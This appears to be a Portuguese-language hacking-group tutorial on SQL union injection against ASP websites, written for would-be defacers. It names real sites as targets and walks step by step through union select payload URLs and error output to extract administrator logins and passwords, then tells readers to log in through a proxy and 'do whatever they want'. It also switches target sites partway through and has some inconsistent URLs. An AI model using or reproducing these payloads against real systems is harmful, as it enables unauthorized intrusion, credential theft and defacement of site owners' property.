Tutorial asp injection ~ Neo Hacker Group

Bem nesse tutorial vou explicar a tecníca de sql union em asp para quem começa em deface isso e importante para dar continuidade as outras aulas q vou fazer ok,vamos começar.

Tem várias dorks para o google vou usar como exemplo essa aqui (novidades.asp?id=) achei esse site vulnerável http://www.harasnovoprado.com.br/home/novidades.asp?id=29 entao como saber se ele está vulneravél ? Bem tem varias maneiras de saber isso uma delas e colocando uma aspa assim ( ‘ ) sendo assim a url vai ficar desse jeito http://www.harasnovoprado.com.br/home/novidades.asp?id=29’ ai se ele estiver vulnerável a sql union vai aparecer um erro parecido com esse ou diferente veja a baixo:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'Id = 29'''.

/home/novidades.asp, line 35

Entao eu já sei que ele está vulnerável e agora o que eu faço?

Bem agora vamos tentar saber quantas tabelas o sites tem para nós darmos continuidade vamos colocar o sequinte comnado na final da url do site +order+by+numero de tabelas, ficando assim na url http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+1 se a pagina carregar normal e não aparecer o mesmo erro relatado acima e pq ele tem mais tabelas sendo assim subtitua o 1 pelo 2 ficando assim http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+2 bem ainda ainda não ta dendo o erro agora teste um numero de tabela alto coloque o 5 no lugar do 2 ficando assim http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+5

Apareceu o erro

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '5' as a valid field name or expression.

/home/novidades.asp, line 35

Entao sabemos q não o site não tem 5 tabelas entao vou colocar o 4 no lugar do 5 ficando assim

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+order+by+4

agora sim não deu erro entao sabemos q o site tem 4 tabelas agora vamos manipula-lá pela url entao vamos primeiramente tentar achar a aréa administrativa do site q ai vai variar dependendo do webmaster, o padrão e : adm , login, admin, administrador, user, usuario.

Entao vamos tentar login ficando assim a url

http://www.harasnovoprado.com.br/admin entao nao deu em nada na existe entao vamos tentar adm ficando assim http://www.harasnovoprado.com.br/adm agora sim nao deu erro sabemos q a pasta adm existe entao vamos voltar para a url e unir as tabelas com o sequinte comando: +union+all+select+numeros de tabelas achadas+from+tabela do adm entao ficando assim na url

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+adm

mais se voltar o erro entao a tabela adm não existe e provavel q o webmaster mudou entao no lugar de adm coloque o padrão q e admin ficando assim

http://www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+admin

entao a pagina carregou normalmente entao sabemos que aquela tabela existe entao agora vamos explorar vamos colocar um hifem ( - ) entra o ?id=-29+ ficando assim

www.harasnovoprado.com.br/home/novidades.asp?id=29+union+all+select+1,2,3,4+from+admin

entao no lugar do errro irá aparecer ums numeros mais ou menos assim:

3
2

Agora vamos manipular a url, entao na aréa administrativa tera os campos login e senha

Entao no lugar na url tem quem o numero 3 colocamos o nome login fcando assim

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,2,login,4+from+adm

entao ira aparecer isso os nomes das colunas e o conteudo das tabelas, depois de ter injetado o nome login na url ira aparecer algo parecido com isso:

adm
2

Entao já sabemos q o login da area administrativa e adm entao agora vamos revelar a senha fazendo o mesmo processo mais no outra numero q aparecer nesse caso e 2 entao colocamos senha no lugar do 2 ficando assim:

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,senha,login,4,5+from+adm bingo!! entao já sabemos login e senha, e temos a area administrativa entao agora e so usar um proxy para segurança e logar ai façam oq vcs quiser.

Entao so tem uma obs: caso a area administrativa tenha 3 campos para login como por exemplo: login, senha e chave. Entao coloque no lugar do 4 a nome chave ficando assim:

www.metax.com.br/noticias.asp?id=-9+union+all+select+1,senha,login,chave,5+from+adm